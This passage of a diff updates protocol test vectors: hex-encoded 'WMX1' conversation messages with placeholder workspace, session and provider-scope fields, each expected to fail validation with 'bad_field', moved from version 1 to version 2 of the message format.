d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-epoch", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a392c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a392c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-grant", "direction": "down", - "hex": "574d583101010000010000003a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a39392c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a39392c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-boot-id-not-a-uuid", "direction": "down", - "hex": "574d58310101000001000000220600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a226e6f742d612d626f6f742d6964222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000005f0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a226e6f742d612d626f6f742d6964222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-model-differs", "direction": "down", - "hex": "574d58310101000001000000380600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d62657461222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000750600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d62657461222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-key-missing", "direction": "down", - "hex": "574d58310101000001000000240600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000610600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c5